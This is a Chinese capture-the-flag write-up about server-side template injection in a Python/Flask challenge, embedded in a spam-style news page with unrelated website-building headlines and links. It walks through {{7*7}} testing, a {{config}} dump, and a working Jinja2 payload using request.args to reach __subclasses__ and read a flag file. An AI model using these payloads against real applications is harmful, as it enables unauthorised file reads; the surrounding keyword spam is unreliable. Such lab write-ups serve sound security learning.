当前位置: 首页 > news >正文

汕头企业建站襄阳网站建设关于飞鱼

汕头企业建站,襄阳网站建设关于飞鱼,网站运营与网站策划,用手机制作app用哪个软件题目 访问题目场景 某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器) 然后结合图片我们知道,这个网址是python写的&#xff0…

题目

访问题目场景

 

某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器)

然后结合图片我们知道,这个网址是python写的,那python语言书写的网址,存在最多的大概率是SSTI模板注入

SSTI模板注入

SSTI就是服务器端模板注入(Server-Side Template Injection),SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。

sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。

SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎,主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

现在网上提起的比较多的是Python的网站。

然后我们就可以用常规的注入方法去尝试一下

/{{7*7}}

 现在我们确认了,这确实存在模板注入

常规的用一些魔术方法去注入测试

/{{''.__class__.__mro[2]__.__subclasses__()}}

 

发现行不通,那我们就测试别的方法

/{{config}}

The requested URL /<Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}> was not found on this server.

 尝试request

/{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__

可以发现存在File方法,就证明我们能读取信息

/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

 

 

而flag的位置是在下图的位置(使用注入之后再右键检查就能发现了)

 

http://www.yayakq.cn/news/735358/

相关文章:

  • 搭建一个网站 优帮云怎么把东西发布到网上卖
  • 网站建设找哪家公司wordpress 手机版
  • 宁夏建网站报价网站做推荐链接端口
  • 罗湖区住房和建设网站如何做超市的网站
  • 做钢丝绳外贸的网站百度网站流量查询
  • 做机械的外贸网站建筑木工模板包工价格
  • 网站 关键词 选择网站免费源码
  • 阿里云用什么系统做网站好明星网页设计
  • 怎么在静态网站基础上加动态网站可以免费看
  • 网站建设公司的年报狠狠做最新网站
  • 丝绸之路网站建设报告微信高端网站建设
  • 天津网站建设服务电话精品一卡二卡 卡四卡分类
  • 虚拟会员商城网站分销免费网站看完你会回来感谢我的
  • 网站建设主要考虑哪些因素快速网站推广优化
  • 苏州城乡建设局网站质检员适合ps做图的素材网站有哪些
  • 铜仁网站建设网络推广方案100例
  • 音乐网站的设计短视频营销方式
  • 网站被篡改处理网站视频下载方法
  • 哈尔滨快速网站排名网站优化的监测评价
  • 营销型网站建设教程wms仓储管理系统
  • 做网站前台要学哪些百度识图找原图
  • 南昌网站建设公司价位仿一个网站要多少钱
  • 最新免费下载ppt模板网站最新军事新闻12小时
  • 手机培训网站建设兰州网站排名外包
  • 石家庄网站制作模板企业网站城市分站系统
  • 太原网站建设主页wordpress 删除版权信息
  • 网站建设华网天下制作作网站icp备案信息
  • 国外做的比较好的购物网站三室两厅两卫装修实景
  • 建设网站功能集团网站建设制作费用
  • 免费制作软件app的网站做一个自己网站的步骤